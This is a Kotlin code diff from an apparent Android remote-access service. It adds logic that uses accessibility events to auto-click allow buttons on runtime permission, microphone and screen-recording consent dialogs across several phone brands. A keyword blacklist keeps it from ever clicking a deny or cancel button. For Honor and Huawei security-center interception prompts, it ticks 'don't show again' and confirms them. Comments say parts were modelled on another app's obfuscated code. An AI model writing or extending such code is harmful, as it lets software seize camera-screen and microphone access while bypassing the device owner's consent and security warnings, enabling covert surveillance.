+ Log.d(TAG, "🎤 跳过MIUI权限编辑页，交给auto_toggle处理: package=$rootPackage")
+ continue
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "🎤 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findMicrophonePermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "🎤 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickMicrophonePermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -503,12 +963,29 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (rootNode != null) {
Log.d(TAG, "🎤 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "microphone_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "🎤 活动窗口为MIUI权限编辑页，交给auto_toggle处理: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "🎤 活动窗口不是权限弹框，跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+
// 递归查找权限相关节点
- val permissionNode = findPermissionNodeInTree(rootNode)
+ val permissionNode = findMicrophonePermissionNodeInTree(rootNode)
if (permissionNode != null) {
Log.d(TAG, "🎤 在活动窗口中找到权限节点")
- if (tryClickPermissionButtons(permissionNode)) {
+ if (tryClickMicrophonePermissionButtons(permissionNode)) {
permissionNode.recycle()
rootNode.recycle()
return true
@@ -672,19 +1149,26 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
mediaProjectionRetryCount++
lastMediaProjectionAttemptTime = currentTime
Log.i(TAG, "✅ 设置MediaProjection请求状态: $requesting (第${mediaProjectionRetryCount}次尝试，对话框检测: $hasDetectedPermissionDialog, 首次安装: $isFirstInstall)")
+ startOrRefreshMediaProjectionSafetyReset("set_requesting_true_retry_${mediaProjectionRetryCount}")
} else {
Log.i(TAG, "✅ MediaProjection权限申请完成，重置状态")
+ cancelMediaProjectionSafetyReset("set_requesting_false")
resetRequestStatus()
}
isRequestingMediaProjection = requesting
}
+
+ fun isMediaProjectionRequestInProgress(): Boolean {
+ return isRequestingMediaProjection
+ }
/**
* 重置权限申请状态
*/
private fun resetRequestStatus() {
Log.i(TAG, "🔄 重置权限申请状态")
+ cancelMediaProjectionSafetyReset("reset_request_status")
mediaProjectionRetryCount = 0
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
@@ -699,48 +1183,741 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// ==================== 参考d.t/d.r的通用权限自动点击 ====================
+ private fun mergeDistinctKeywords(primary: List, secondary: List): List {
+ return (primary + secondary)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+
/**
- * 录屏授权弹窗检测关键词（参考d.t的f604c数组）
- * 当systemui事件中包含这些关键词时，说明录屏授权弹窗已出现
+ * 录屏授权弹窗检测关键词（参考 d.t 的 f604c 数组）
+ * 当 systemui/permissioncontroller 事件中包含这些关键词时，说明录屏授权弹窗已出现。
*/
- private val mediaProjectionDetectionKeywords = arrayOf(
- "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
- "Screen recording", "Screen casting", "Screen capture", "Share screen",
- "Cast screen", "Record screen", "Media projection"
- )
-
+ private val mediaProjectionDetectionKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "投射", "录制", "录屏", "投屏", "投放", "截取", "共享屏幕", "屏幕录制",
+ "开始录制", "开始投放", "开始共享", "立即开始", "屏幕共享",
+ "Screen recording", "Screen casting", "Screen capture", "Share screen",
+ "Cast screen", "Record screen", "Media projection", "Start recording",
+ "Start sharing", "Start now", "Cast now"
+ ),
+ romPolicy.mediaProjectionDetectionKeywords
+ ).toTypedArray()
+ }
+
/**
- * 通用权限自动授权关键词列表（参考d.r的18个关键词）
- * 匹配到这些文本的可点击节点会被自动点击
+ * 通用权限自动授权关键词列表（运行时策略 + ROM 策略合并）。
*/
- private val generalPermissionAllowKeywords = arrayOf(
- "确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
- "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
- "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
- "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
- // 英文
- "Allow", "Always allow", "Allow while using the app", "While using the app",
- "Only this time", "Allow all the time"
- )
-
+ private val runtimePermissionAllowKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "允许", "始终允许", "允许本次使用", "本次使用时允许",
+ "使用时允许", "使用期间允许", "仅使用期间允许",
+ "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许",
+ "在使用中运行", "在使用中", "在使用该应用时", "在使用期间",
+ "仅在使用中", "仅在使用期间", "仅在使用应用时",
+ "允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件",
+ "确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Allow", "Always allow", "Allow all the time",
+ "Allow while using", "Allow while using the app", "While using the app",
+ "Allow only this time", "Only this time", "This time only", "Allow once"
+ ),
+ romPolicy.runtimePermissionAllowKeywords
+ )
+ }
+ private val generalPermissionAllowKeywords by lazy { runtimePermissionAllowKeywords.toTypedArray() }
+
/**
- * 取消/拒绝按钮黑名单（参考d.t的f606e数组）
- * 这些文本的节点绝不会被点击
+ * 取消/拒绝按钮黑名单（这些文本的节点绝不会被点击）。
*/
- private val denyButtonBlacklist = arrayOf(
- "禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
- "Cancel", "Deny", "Dismiss", "Don't allow", "No"
- )
-
+ private val runtimePermissionDenyKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说",
+ "仅在使用中不允许", "仅在使用期间不允许",
+ "Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No"
+ ),
+ romPolicy.runtimePermissionDenyKeywords
+ )
+ }
+
/**
- * 录屏确认按钮文本（参考d.t的f605d数组）
- * 选择全屏后点击这些确认按钮
+ * 运行时权限“选项项”关键词（常见为 RadioButton，不应直接视为最终确认）。
*/
- private val mediaProjectionConfirmKeywords = arrayOf(
- "立即开始", "允许", "确定", "开始",
- "Start now", "Allow", "OK", "Start", "Begin",
- "Share screen", "共享屏幕", "开始共享"
- )
+ private val runtimePermissionOptionKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "每次使用询问", "每次询问", "询问",
+ "仅在使用中允许", "仅在使用期间允许",
+ "仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许",
+ "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Ask every time", "Only this time", "While using the app"
+ ),
+ romPolicy.runtimePermissionOptionKeywords
+ )
+ }
+
+ /**
+ * 运行时权限最终确认动作关键词（排除拒绝语义）。
+ */
+ private val runtimePermissionFinalConfirmKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "允许", "确认", "确定", "继续", "同意", "授权", "完成",
+ "Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes"
+ ),
+ romPolicy.runtimePermissionFinalConfirmKeywords
+ )
+ }
+
+ /**
+ * 运行时权限最终确认按钮常见 viewId 片段。
+ */
+ private val runtimePermissionConfirmViewIdHints by lazy {
+ mergeDistinctKeywords(
+ listOf("button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"),
+ romPolicy.runtimePermissionConfirmViewIdHints
+ )
+ }
+ private val denyButtonBlacklist by lazy { runtimePermissionDenyKeywords.toTypedArray() }
+
+ /**
+ * 录屏确认按钮文本（选择全屏后点击这些确认按钮）。
+ */
+ private val mediaProjectionConfirmKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "立即开始", "开始录制", "开始投放", "开始共享", "同意", "允许", "确定", "确认", "继续", "开始", "OK",
+ "Start now", "Allow", "OK", "Start", "Begin", "Continue", "Agree",
+ "Start recording", "Start casting", "Start sharing", "Share screen", "共享屏幕"
+ ),
+ romPolicy.mediaProjectionConfirmTexts
+ ).toTypedArray()
+ }
+
+ /**
+ * 录屏授权弹窗常见来源包（不同 ROM 会落在不同系统组件里）。
+ */
+ private val mediaProjectionDialogPackages by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "com.android.systemui",
+ "android",
+ "com.android.permissioncontroller",
+ "com.google.android.permissioncontroller",
+ "com.miui.securitycenter",
+ "com.miui.permcenter",
+ "com.miui.permissioncontroller",
+ "com.huawei.systemmanager",
+ "com.hihonor.systemmanager",
+ "com.hihonor.securitycenter",
+ "com.coloros.safecenter",
+ "com.oplus.securitypermission",
+ "com.oppo.permissioncontroller"
+ ),
+ romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints
+ ).map { it.lowercase() }
+ }
+
+ private val permissionFlowPackageHints by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "permissioncontroller",
+ "packageinstaller",
+ "permcenter",
+ "securitycenter",
+ "lbe.security.miui",
+ "systemmanager",
+ "com.coloros",
+ "com.oplus",
+ "com.heytap",
+ "com.oppo"
+ ),
+ romPolicy.permissionFlowPackageHints + romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints
+ ).map { it.lowercase() }
+ }
+
+ private val honorSystemManagerPackages by lazy {
+ mergeDistinctKeywords(
+ listOf("com.hihonor.systemmanager", "com.huawei.systemmanager"),
+ romPolicy.permissionDialogPackageHints.filter { it.contains("systemmanager", ignoreCase = true) }
+ ).map { it.lowercase() }
+ }
+
+ private fun buildNodeCombinedText(text: CharSequence?, desc: CharSequence?): String {
+ val combined = "${text?.toString().orEmpty()} ${desc?.toString().orEmpty()}".trim()
+ return combined
+ }
+
+ private fun startOrRefreshMediaProjectionSafetyReset(reason: String) {
+ val sessionId = System.currentTimeMillis()
+ mediaProjectionRequestSessionId = sessionId
+ mediaProjectionSafetyResetJob?.cancel()
+ mediaProjectionSafetyResetJob = serviceScope.launch {
+ delay(8000)
+ if (sessionId != mediaProjectionRequestSessionId) {
+ Log.d(TAG, "⏭️ [安全重置] 跳过旧会话: reason=$reason")
+ return@launch
+ }
+ if (isRequestingMediaProjection && !hasMediaProjectionPermission()) {
+ Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取，重置状态避免卡死: reason=$reason")
+ isRequestingMediaProjection = false
+ mediaProjectionRetryCount = 0
+ }
+ }
+ }
+
+ private fun cancelMediaProjectionSafetyReset(reason: String) {
+ mediaProjectionRequestSessionId = System.currentTimeMillis()
+ mediaProjectionSafetyResetJob?.cancel()
+ mediaProjectionSafetyResetJob = null
+ Log.d(TAG, "🛑 [安全重置] 已取消: reason=$reason")
+ }
+
+ private fun isSystemProjectionDialogVisible(): Boolean {
+ return try {
+ val rootNode = service.rootInActiveWindow ?: return false
+ val packageName = rootNode.packageName?.toString()?.lowercase().orEmpty()
+ packageName.contains("com.android.systemui")
+ } catch (e: Exception) {
+ false
+ }
+ }
+
+ private fun containsAnyKeyword(source: String, keywords: Collection): Boolean {
+ if (source.isEmpty()) return false
+ return keywords.any { keyword ->
+ source.contains(keyword, ignoreCase = true)
+ }
+ }
+
+ private fun isLikelyMediaProjectionDialogPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return mediaProjectionDialogPackages.any { pkg ->
+ normalized == pkg || normalized.contains(pkg)
+ }
+ }
+
+ private fun isRuntimeAllowText(source: String): Boolean {
+ return containsAnyKeyword(source, runtimePermissionAllowKeywords)
+ }
+
+ private fun isRuntimeDenyText(source: String): Boolean {
+ return containsAnyKeyword(source, runtimePermissionDenyKeywords)
+ }
+
+ private fun normalizeRuntimeText(source: String): String {
+ return source.replace("\\s+".toRegex(), "")
+ }
+
+ private fun isRuntimeOptionSelectionText(source: String): Boolean {
+ if (source.isBlank()) return false
+ val normalized = normalizeRuntimeText(source)
+ return runtimePermissionOptionKeywords.any { keyword ->
+ normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true)
+ }
+ }
+
+ private fun isRuntimeFinalConfirmText(source: String): Boolean {
+ if (source.isBlank()) return false
+ val normalized = normalizeRuntimeText(source)
+ val matched = runtimePermissionFinalConfirmKeywords.any { keyword ->
+ normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true)
+ }
+ if (!matched) return false
+ // 选项文案中包含“允许”时，默认不视为最终确认（避免 MIUI RadioButton 误判）
+ if (isRuntimeOptionSelectionText(normalized)) {
+ return normalized.equals("允许", ignoreCase = true) ||
+ normalized.equals("allow", ignoreCase = true) ||
+ normalized.equals("ok", ignoreCase = true) ||
+ normalized.equals("确定", ignoreCase = true) ||
+ normalized.equals("确认", ignoreCase = true)
+ }
+ return true
+ }
+
+ private fun hasRuntimeConfirmViewIdHint(viewId: String?): Boolean {
+ if (viewId.isNullOrBlank()) return false
+ val normalized = viewId.lowercase()
+ return runtimePermissionConfirmViewIdHints.any { hint ->
+ normalized.contains(hint)
+ }
+ }
+
+ private fun isRuntimeOptionControl(node: AccessibilityNodeInfo): Boolean {
+ val className = node.className?.toString()?.lowercase().orEmpty()
+ return node.isCheckable ||
+ className.contains("radiobutton") ||
+ className.contains("checkedtextview") ||
+ className.contains("checkbox")
+ }
+
+ private fun clickRuntimePermissionNode(
+ node: AccessibilityNodeInfo,
+ scene: String,
+ phase: String,
+ logPrefix: String
+ ): Boolean {
+ val text = node.text?.toString().orEmpty()
+ val desc = node.contentDescription?.toString().orEmpty()
+ val className = node.className?.toString().orEmpty()
+ val viewId = node.viewIdResourceName.orEmpty()
+ val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
+ val actionClicked = runCatching {
+ clickTarget?.performAction(AccessibilityNodeInfo.ACTION_CLICK) == true
+ }.getOrDefault(false)
+ if (actionClicked) {
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 点击成功: phase=$phase, text='$text', desc='$desc', class=$className, viewId=$viewId"
+ )
+ return true
+ }
+ val gestureClicked = tapNodeCenterByGesture(node, "runtime_permission:$scene:$phase")
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 手势点击兜底: phase=$phase, text='$text', class=$className, viewId=$viewId, clicked=$gestureClicked"
+ )
+ return gestureClicked
+ }
+
+ private fun computeRuntimeConfirmScore(
+ node: AccessibilityNodeInfo,
+ combinedText: String,
+ viewId: String
+ ): Int {
+ val className = node.className?.toString()?.lowercase().orEmpty()
+ var score = 0
+ if (hasRuntimeConfirmViewIdHint(viewId)) score += 80
+ if (className.contains("button")) score += 30
+ if (isRuntimeFinalConfirmText(combinedText)) score += 25
+ if (isRuntimeAllowText(combinedText)) score += 15
+ if (isRuntimeOptionSelectionText(combinedText)) score -= 30
+ if (isRuntimeOptionControl(node)) score -= 60
+ return score
+ }
+
+ private fun tryClickRuntimeFollowupConfirm(
+ scene: String,
+ strictAllowSemantics: Boolean,
+ logPrefix: String
+ ): Boolean {
+ val rootNode = service.rootInActiveWindow ?: return false
+ try {
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "$logPrefix [$scene] 跟进确认跳过：当前活动包非运行时权限弹框 package=$rootPackage")
+ return false
+ }
+
+ val confirmViewIds = listOf(
+ "android:id/button1",
+ "com.android.permissioncontroller:id/permission_allow_button",
+ "com.android.permissioncontroller:id/permission_allow_foreground_only_button",
+ "com.android.permissioncontroller:id/permission_allow_one_time_button"
+ )
+ for (viewId in confirmViewIds) {
+ val confirmNodes = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ try {
+ for (candidate in confirmNodes) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ if (isRuntimeDenyText(combinedText)) continue
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName)
+ if (!allowLike) continue
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName)
+ ) {
+ continue
+ }
+ if (clickRuntimePermissionNode(candidate, scene, "followup_confirm_viewid:$viewId", logPrefix)) {
+ return true
+ }
+ }
+ } finally {
+ confirmNodes.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ val allButtons = findAllButtons(rootNode)
+ try {
+ var bestCandidate: AccessibilityNodeInfo? = null
+ var bestScore = Int.MIN_VALUE
+ for (candidate in allButtons) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ val viewId = candidate.viewIdResourceName.orEmpty()
+ if (isRuntimeDenyText(combinedText)) continue
+ if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(viewId)
+ if (!allowLike) continue
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ continue
+ }
+
+ val score = computeRuntimeConfirmScore(candidate, combinedText, viewId)
+ if (score > bestScore) {
+ bestScore = score
+ bestCandidate = candidate
+ }
+ }
+
+ if (bestCandidate != null) {
+ return clickRuntimePermissionNode(bestCandidate, scene, "followup_confirm_scan", logPrefix)
+ }
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+ return false
+ } finally {
+ runCatching { rootNode.recycle() }
+ }
+ }
+
+ private fun tryClickRuntimeBottomRightConfirmFallback(
+ node: AccessibilityNodeInfo,
+ scene: String,
+ strictAllowSemantics: Boolean,
+ logPrefix: String
+ ): Boolean {
+ val rootBounds = android.graphics.Rect()
+ runCatching { node.getBoundsInScreen(rootBounds) }
+ if (rootBounds.isEmpty) {
+ return false
+ }
+
+ val nodes = mutableListOf()
+ collectAllNodes(node, nodes, 0)
+ try {
+ var bestCandidate: AccessibilityNodeInfo? = null
+ var bestScore = Int.MIN_VALUE
+
+ for (candidate in nodes) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ val viewId = candidate.viewIdResourceName.orEmpty()
+ val className = candidate.className?.toString().orEmpty()
+ val lowerClass = className.lowercase()
+ if (isRuntimeDenyText(combinedText)) continue
+ if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue
+
+ val hasClickableTarget = candidate.isClickable || findClickableParentOrSibling(candidate) != null
+ if (!hasClickableTarget) continue
+
+ val buttonLikeClass = lowerClass.contains("button") || lowerClass.contains("textview")
+ val hasSemanticSignal =
+ combinedText.isNotBlank() || hasRuntimeConfirmViewIdHint(viewId) || buttonLikeClass
+ val containerClass =
+ lowerClass.contains("framelayout") ||
+ lowerClass.contains("linearlayout") ||
+ lowerClass.contains("relativelayout") ||
+ lowerClass.contains("viewgroup")
+ if (!hasSemanticSignal) continue
+ if (containerClass && !hasRuntimeConfirmViewIdHint(viewId) && combinedText.isBlank()) continue
+
+ if (strictAllowSemantics &&
+ combinedText.isNotBlank() &&
+ !isRuntimeAllowText(combinedText) &&
+ !isRuntimeFinalConfirmText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ continue
+ }
+
+ val bounds = android.graphics.Rect()
+ runCatching { candidate.getBoundsInScreen(bounds) }
+ if (bounds.isEmpty) continue
+
+ val centerX = bounds.centerX()
+ val centerY = bounds.centerY()
+ val rootArea = rootBounds.width().toLong() * rootBounds.height().toLong()
+ val candidateArea = bounds.width().toLong() * bounds.height().toLong()
+ if (rootArea > 0L && candidateArea > (rootArea * 35 / 100)) continue
+ val minCandidateX = rootBounds.left + (rootBounds.width() * 0.35f).toInt()
+ val minCandidateY = rootBounds.top + (rootBounds.height() * 0.45f).toInt()
+ if (centerX < minCandidateX || centerY < minCandidateY) continue
+
+ var score = centerX + centerY
+ if (className.contains("button", ignoreCase = true)) score += 1800
+ if (hasRuntimeConfirmViewIdHint(viewId)) score += 2200
+ if (isRuntimeFinalConfirmText(combinedText)) score += 1500
+ if (combinedText.isBlank()) score += 200
+ if (containerClass) score -= 2000
+ if (!candidate.isEnabled) score -= 1200
+
+ if (score > bestScore) {
+ bestScore = score
+ bestCandidate = candidate
+ }
+ }
+
+ if (bestCandidate != null) {
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 命中底部右侧确认兜底: score=$bestScore, text='${bestCandidate.text}', viewId='${bestCandidate.viewIdResourceName}'"
+ )
+ return clickRuntimePermissionNode(bestCandidate, scene, "bottom_right_confirm_fallback", logPrefix)
+ }
+ return false
+ } finally {
+ nodes.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ private fun tryClickRuntimePermissionButtonsInternal(
+ node: AccessibilityNodeInfo,
+ logPrefix: String,
+ scene: String,
+ strictAllowSemantics: Boolean,
+ allowOptionOnlySuccess: Boolean = false
+ ): Boolean {
+ val allButtons = findAllButtons(node)
+ Log.d(TAG, "$logPrefix [$scene] 找到 ${allButtons.size} 个候选按钮")
+ var optionClicked = false
+ var checkedOptionDetected = false
+
+ try {
+ for ((index, btn) in allButtons.withIndex()) {
+ val btnText = btn.text?.toString().orEmpty()
+ val btnDesc = btn.contentDescription?.toString().orEmpty()
+ val className = btn.className?.toString().orEmpty()
+ val viewId = btn.viewIdResourceName.orEmpty()
+ val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription)
+ val isOptionNode = isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(btn)
+ val isChecked = runCatching { btn.isChecked }.getOrDefault(false)
+
+ Log.d(
+ TAG,
+ "$logPrefix [$scene] 候选 $index: text='$btnText', desc='$btnDesc', class=$className, viewId=$viewId, option=$isOptionNode, checked=$isChecked"
+ )
+
+ if (isRuntimeDenyText(combinedText)) {
+ Log.d(TAG, "$logPrefix [$scene] 跳过拒绝类按钮: '$btnText' / '$btnDesc'")
+ continue
+ }
+
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(viewId)
+ if (!allowLike) continue
+
+ if (isOptionNode) {
+ if (isChecked) {
+ checkedOptionDetected = true
+ Log.d(TAG, "$logPrefix [$scene] 选项已是选中态，跳过重复点击: '$btnText'")
+ continue
+ }
+ val optionClick = clickRuntimePermissionNode(btn, scene, "option_select", logPrefix)
+ if (optionClick) {
+ optionClicked = true
+ if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ }
+ continue
+ }
+
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ Log.d(TAG, "$logPrefix [$scene] 严格模式跳过非允许语义确认按钮: '$btnText' / '$btnDesc'")
+ continue
+ }
+
+ if (clickRuntimePermissionNode(btn, scene, "direct_confirm", logPrefix)) {
+ return true
+ }
+ }
+
+ if (optionClicked || checkedOptionDetected) {
+ if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ if (tryClickRuntimeBottomRightConfirmFallback(node, scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ if (allowOptionOnlySuccess) {
+ Log.i(TAG, "$logPrefix [$scene] 未命中最终确认按钮，但已完成允许选项，按详情页策略视为成功")
+ return true
+ }
+ Log.i(TAG, "$logPrefix [$scene] 已选择/识别权限选项，但暂未捕获最终确认按钮，等待下一轮检测")
+ } else {
+ Log.w(TAG, "$logPrefix [$scene] 未找到可点击的运行时权限按钮")
+ }
+ return false
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ private fun isHonorSystemManagerPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return honorSystemManagerPackages.any { pkg ->
+ normalized == pkg || normalized.contains(pkg)
+ }
+ }
+
+ /**
+ * 荣耀/华为系统管家拦截弹窗兜底处理：
+ * 典型结构为 button2(取消)/button1(确认)，可能伴随“下次不再提示”复选框。
+ */
+ private fun tryHandleHonorSystemManagerInterception(
+ rootNode: AccessibilityNodeInfo?,
+ source: String
+ ): Boolean {
+ if (rootNode == null) return false
+
+ try {
+ val packageName = rootNode.packageName?.toString()
+ Log.d(
+ TAG,
+ "🛡️ [荣耀拦截探测] source=$source, package=$packageName"
+ )
+ if (!isHonorSystemManagerPackage(packageName)) {
+ return false
+ }
+
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 检测到系统管家弹窗，来源=$source, package=$packageName"
+ )
+
+ // 先尝试勾选“下次不再提示”复选框，减少重复弹窗打断权限链路
+ val checkboxIds = listOf(
+ "com.hihonor.systemmanager:id/chk",
+ "com.huawei.systemmanager:id/chk",
+ "android:id/checkbox"
+ )
+ for (viewId in checkboxIds) {
+ val checkboxes = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ for (checkbox in checkboxes) {
+ try {
+ val checked = runCatching { checkbox.isChecked }.getOrDefault(false)
+ if (!checked && (checkbox.isCheckable || checkbox.isClickable)) {
+ val clickedByAction = runCatching {
+ checkbox.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ }.getOrDefault(false)
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ checkbox,
+ "honor_systemmanager_checkbox:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 复选框处理 viewId=$viewId, checkedBefore=$checked, clicked=$clicked"
+ )
+ if (clicked) {
+ Thread.sleep(120)
+ }
+ }
+ } finally {
+ runCatching { checkbox.recycle() }
+ }
+ }
+ }
+
+ // 优先通过button1定位确认按钮，避免误点button2取消
+ val positiveButtonIds = listOf(
+ "android:id/button1",
+ "com.hihonor.systemmanager:id/button1",
+ "com.huawei.systemmanager:id/button1"
+ )
+ for (viewId in positiveButtonIds) {
+ val positiveButtons = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ for (button in positiveButtons) {
+ try {
+ val text = buildNodeCombinedText(button.text, button.contentDescription)
+ if (isRuntimeDenyText(text)) {
+ Log.w(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 跳过疑似拒绝按钮 viewId=$viewId, text='$text'"
+ )
+ continue
+ }
+
+ val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
+ val clickedByAction = clickTarget?.performAction(
+ AccessibilityNodeInfo.ACTION_CLICK
+ ) == true
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ button,
+ "honor_systemmanager_button1:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 点击确认按钮 viewId=$viewId, text='$text', clicked=$clicked"
+ )
+ if (clicked) {
+ return true
+ }
+ } finally {
+ runCatching { button.recycle() }
+ }
+ }
+ }
+
+ // 兜底：若button1未命中，优先选择右侧可点击按钮（但跳过取消/拒绝）
+ val allButtons = findAllButtons(rootNode)
+ try {
+ var bestButton: AccessibilityNodeInfo? = null
+ var bestCenterX = Int.MIN_VALUE
+ for (button in allButtons) {
+ val viewId = button.viewIdResourceName ?: ""
+ val text = buildNodeCombinedText(button.text, button.contentDescription)
+ if (!button.isClickable) continue
+ if (viewId.contains("button2", ignoreCase = true) || isRuntimeDenyText(text)) {
+ continue
+ }
+
+ val bounds = android.graphics.Rect()
+ button.getBoundsInScreen(bounds)
+ if (bounds.centerX() > bestCenterX) {
+ bestCenterX = bounds.centerX()
+ bestButton = button
+ }
+ }
+
+ if (bestButton != null) {
+ val fallbackText = buildNodeCombinedText(bestButton.text, bestButton.contentDescription)
+ val clickedByAction = bestButton.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ bestButton,
+ "honor_systemmanager_fallback_right_button:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 右侧按钮兜底点击 text='$fallbackText', clicked=$clicked"
+ )
+ if (clicked) {
+ return true
+ }
+ }
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+
+ Log.d(TAG, "🛡️ [荣耀拦截弹窗] 未找到可点击确认按钮，继续原流程")
+ return false
+ } catch (e: Exception) {
+ Log.e(TAG, "🛡️ [荣耀拦截弹窗] 处理失败，回退原逻辑", e)
+ return false
+ }
+ }
/**
* 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
@@ -754,7 +1931,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// === 第一层：录屏授权弹窗自动点击（参考d.t） ===
// 监听来自com.android.systemui的事件
- if (packageName == "com.android.systemui") {
+ if (isLikelyMediaProjectionDialogPackage(packageName)) {
handleMediaProjectionAutoClick(event)
}
@@ -826,22 +2003,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
val rootNode = service.rootInActiveWindow ?: return
+ var sequenceRoot = rootNode
// === Step 1: Android 14+需要先选择"整个屏幕"（参考case 16 → case 15） ===
if (Build.VERSION.SDK_INT >= 34) {
+ val singleAppTexts = arrayOf(
+ "单个应用", "单个 app", "仅此应用", "当前应用",
+ "Single app", "This app only", "Only this app"
